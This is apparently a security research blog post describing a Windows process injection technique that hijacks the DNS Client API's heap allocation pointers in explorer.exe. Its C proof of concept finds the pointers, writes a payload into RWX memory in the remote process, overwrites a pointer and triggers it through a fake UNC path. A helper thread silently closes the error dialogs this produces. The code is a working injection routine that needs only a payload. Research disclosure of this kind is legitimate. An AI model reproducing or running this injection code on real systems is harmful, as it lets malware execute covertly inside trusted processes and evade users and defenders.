Windows Process Injection: DNS Client API

Introduction

This is a quick response to Code Execution via surgical callback overwrites by Adam. He suggests overwriting DNS memory functions to facilitate process injection. This post will demonstrate how the injection works with explorer.exe. It was only tested on a 64-bit version of Windows 10, so your experience may be different from mine. Nevertheless, the method does work.

DNS Client API DLL

When first loaded into a process, dnsapi!Heap_Initialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 1 shows disassembly of this while figure 2 shows the function pointers.

Figure 1. dnsapi!Heap_Initialize

Figure 2. Function pointers for dnsapi.dll

pDnsAllocFunction is assigned dnsapi!Dns_HeapAlloc while pDnsFreeFunction is assigned dnsapi!Dns_HeapFree. Every time a DnsQuery API is called, both of these functions are executed via the pointers.

DNS Caching Resolver Service

This runs from inside dnsrslvr.dll and is loaded by a service host (svchost.exe) process. dnsrslvr!ResolverInitialize will assign the address of functions in the .text segment to variables in the .data segment. Figure 3. shows disassembly of this while figure 4 shows the function pointers.

Figure 3. dnsrslvr!ResolverInitialize

Figure 4. Function pointers for dnsrslvr.dll

pDnsAllocFunction is assigned dnsapi!DnsApiAlloc while pDnsFreeFunction is assigned dnsapi!DnsApiFree.

Finding Pointers

Load dnsapi.dll into local process, obtain the virtual address of the .data segment. Find two pointers with addresses inside the .text segment. Once found, subtract the base address of dnsapi.dll to obtain the relative virtual address (RVA). Then add the base address of dnsapi.dll in remote process. The following code from the PoC illustrates this.

LPVOID GetDnsApiAddr(DWORD pid) {
    LPVOID                m, rm, va = NULL;
    PIMAGE_DOS_HEADER     dos;
    PIMAGE_NT_HEADERS     nt;
    PIMAGE_SECTION_HEADER sh;
    DWORD                 i, cnt, rva=0;
    PULONG_PTR            ds;
    
    // does remote have dnsapi loaded?
    rm  = GetRemoteModuleHandle(pid, L"dnsapi.dll");
    if(rm == NULL) return NULL;
    
    // load local copy
    m   = LoadLibrary(L"dnsapi.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
          nt->FileHeader.SizeOfOptionalHeader);
          
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
        break;
      }
    }
    // for each pointer
    for(i=0; i<cnt - 1; i++) {
      // if two pointers side by side are not to code, skip it
      if(!IsCodePtr((LPVOID)ds[i  ])) continue;
      if(!IsCodePtr((LPVOID)ds[i+1])) continue;
      // calculate VA in remote process
      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;
      break;
    }
    return va;
}

Injection

Overwriting either of the function pointers and invoking the DNS API to resolve a hostname allows us to control the flow of execution inside a remote process. Unless the DNS_QUERY_BYPASS_CACHE option is specified by a DNS API client, the DNS cache service may be used to resolve a hostname and that’s where it’s possible to control flow inside the service.

Executing In Explorer

Is the easiest way to demonstrate this method of injection because we can easily force it to resolve hostnames via the IShellWindows interface. Microsoft already provide an example of how to do this in sample code.

Network Dialogs

Since we’re deliberately using a fake UNC path to force invocation of the DNS Client API, explorer will display errors similar to what’s shown in figure 5.

Figure 5. Pesky Network Error

To hide these, a thread is created with an endless loop to find and automatically close them. It’s a bit crude and there may be a more elegant way of closing these, but it works for the PoC.


// for any "Network Error", close the window
VOID SuppressErrors(LPVOID lpParameter) {
    HWND hw;
    
    for(;;) {
      hw = FindWindowEx(NULL, NULL, NULL, L"Network Error");
      if(hw != NULL) {
        PostMessage(hw, WM_CLOSE, 0, 0);
      }
    }
}

Proof of Concept

To demonstrate the method of injection works, the following code outlines each step. For more details, view the full source here.

VOID dns_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID dns, cs, ptr;
    DWORD  pid, cnt, tick, i, t;
    HANDLE hp, ht;
    SIZE_T wr;
    HWND   hw;
    WCHAR  unc[32]={L'\\', L'\\'}; // UNC path to invoke DNS api

    // 1. obtain process id for explorer
    //    and try read address of function pointers
    GetWindowThreadProcessId(GetShellWindow(), &pid); 
    ptr = GetDnsApiAddr(pid);
    
    // 2. create a thread to suppress network errors displayed
    ht = CreateThread(NULL, 0, 
      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);
      
    // 3. if dns api not already loaded, try force 
    // explorer to load via fake UNC path
    if(ptr == NULL) {
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + 'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      ptr = GetDnsApiAddr(pid);
    }
    
    if(ptr != NULL) {
      // 4. open explorer, backup address of dns function.
      //    allocate RWX memory and write payload
      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      cs = VirtualAllocEx(hp, NULL, payloadSize, 
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      
      // 5. overwrite pointer to dns function
      //    generate fake UNC path and trigger execution
      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + L'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      
      // 6. restore dns function, release memory and close process
      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
      CloseHandle(hp);
    }
    // 7. terminate thread
    TerminateThread(ht, 0);
}

Summary

Processes have thousands of function pointers which are executed in response to I/O from the system or a user interface. Automating a way to monitor access to these function pointers while simultaneously sending I/O from an external process would no doubt uncover many more methods similar to the method discussed here. Source PoC.

This entry was posted in assembly, injection, malware, process injection, programming, security, windows and tagged , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s